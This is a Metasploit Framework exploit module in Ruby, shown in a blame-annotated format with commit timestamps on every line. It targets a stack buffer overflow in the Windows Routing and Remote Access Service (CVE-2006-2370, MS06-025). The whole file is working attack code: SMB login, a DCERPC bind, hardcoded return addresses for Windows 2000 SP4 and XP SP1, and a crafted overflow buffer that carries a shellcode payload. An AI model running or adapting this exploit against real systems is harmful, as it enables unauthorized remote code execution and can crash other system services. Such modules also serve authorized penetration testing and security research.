2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-06-14 20:39:16 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-06-14 20:39:16 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2006-06-14 20:39:16 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft RRAS Service Overflow',
|
2006-06-14 20:39:16 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the Windows Routing and Remote
|
2010-04-30 08:40:19 +00:00
|
|
|
Access Service. Since the service is hosted inside svchost.exe, a failed
|
2006-06-21 21:48:50 +00:00
|
|
|
exploit attempt can cause other system services to fail as well. A valid
|
2010-04-30 08:40:19 +00:00
|
|
|
username and password is required to exploit this flaw on Windows 2000.
|
2006-06-21 21:48:50 +00:00
|
|
|
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. },
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' =>
|
2006-06-21 23:41:28 +00:00
|
|
|
[
|
|
|
|
'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
|
|
|
|
'hdm'
|
|
|
|
],
|
2006-06-14 20:39:16 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-06-21 21:48:50 +00:00
|
|
|
[ 'CVE', '2006-2370' ],
|
|
|
|
[ 'OSVDB', '26437' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'BID', '18325' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'MSB', 'MS06-025' ]
|
2006-06-14 20:39:16 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2006-06-14 21:26:43 +00:00
|
|
|
'Space' => 1104,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
2006-06-14 20:39:16 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-06-14 20:39:16 +00:00
|
|
|
[
|
2006-06-15 15:30:46 +00:00
|
|
|
[ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],
|
|
|
|
[ 'Windows XP SP1', { 'Ret' => 0x7248d4cc } ],
|
2006-06-14 20:39:16 +00:00
|
|
|
],
|
|
|
|
|
|
|
|
'DisclosureDate' => 'Jun 13 2006'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-06-14 20:39:16 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2006-06-15 15:31:56 +00:00
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),
|
2006-06-14 20:39:16 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2006-09-17 08:00:37 +00:00
|
|
|
# Post authentication bugs are rarely useful during automation
|
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
2006-06-14 20:39:16 +00:00
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
2006-06-14 21:26:43 +00:00
|
|
|
handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-06-14 20:39:16 +00:00
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
2006-06-15 15:30:46 +00:00
|
|
|
|
|
|
|
print_status('Getting OS...')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-06-15 15:30:46 +00:00
|
|
|
# Check the remote OS name and version
|
2006-10-29 16:35:37 +00:00
|
|
|
os = smb_peer_os
|
2006-06-15 15:30:46 +00:00
|
|
|
pat = ''
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-06-15 15:30:46 +00:00
|
|
|
case os
|
2006-10-29 16:35:37 +00:00
|
|
|
when /Windows 5\.0/
|
2010-04-30 08:40:19 +00:00
|
|
|
pat =
|
2006-06-15 15:30:46 +00:00
|
|
|
payload.encoded +
|
|
|
|
"\xeb\x06" +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text_alphanumeric(2) +
|
2006-06-15 15:30:46 +00:00
|
|
|
[target.ret].pack('V') +
|
|
|
|
"\xe9\xb7\xfb\xff\xff"
|
|
|
|
os = 'Windows 2000'
|
2006-10-29 16:35:37 +00:00
|
|
|
when /Windows 5\.1/
|
2006-06-15 15:30:46 +00:00
|
|
|
pat =
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text_alphanumeric(0x4c) +
|
2006-06-15 15:30:46 +00:00
|
|
|
"\xeb\x06" +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text_alphanumeric(2) +
|
2006-06-15 15:30:46 +00:00
|
|
|
[target.ret].pack('V') +
|
|
|
|
payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
os = 'Windows XP'
|
2006-06-15 15:30:46 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
req = [1, 0x49].pack('VV') + pat + rand_text_alphanumeric(0x4000-pat.length)
|
2006-06-14 21:26:43 +00:00
|
|
|
len = req.length
|
2010-04-30 08:40:19 +00:00
|
|
|
stb =
|
2006-06-14 21:26:43 +00:00
|
|
|
NDR.long(0x20000) +
|
|
|
|
NDR.long(len) +
|
2010-04-30 08:40:19 +00:00
|
|
|
req +
|
2006-06-14 21:26:43 +00:00
|
|
|
NDR.long(len)
|
2006-06-14 20:39:16 +00:00
|
|
|
|
2006-06-15 15:30:46 +00:00
|
|
|
print_status("Calling the vulnerable function on #{os}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-06-14 20:39:16 +00:00
|
|
|
begin
|
2006-06-14 21:26:43 +00:00
|
|
|
dcerpc.call(0x0C, stb)
|
2006-06-14 20:39:16 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
rescue => e
|
2006-06-14 21:26:43 +00:00
|
|
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
2006-06-14 20:39:16 +00:00
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Cleanup
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|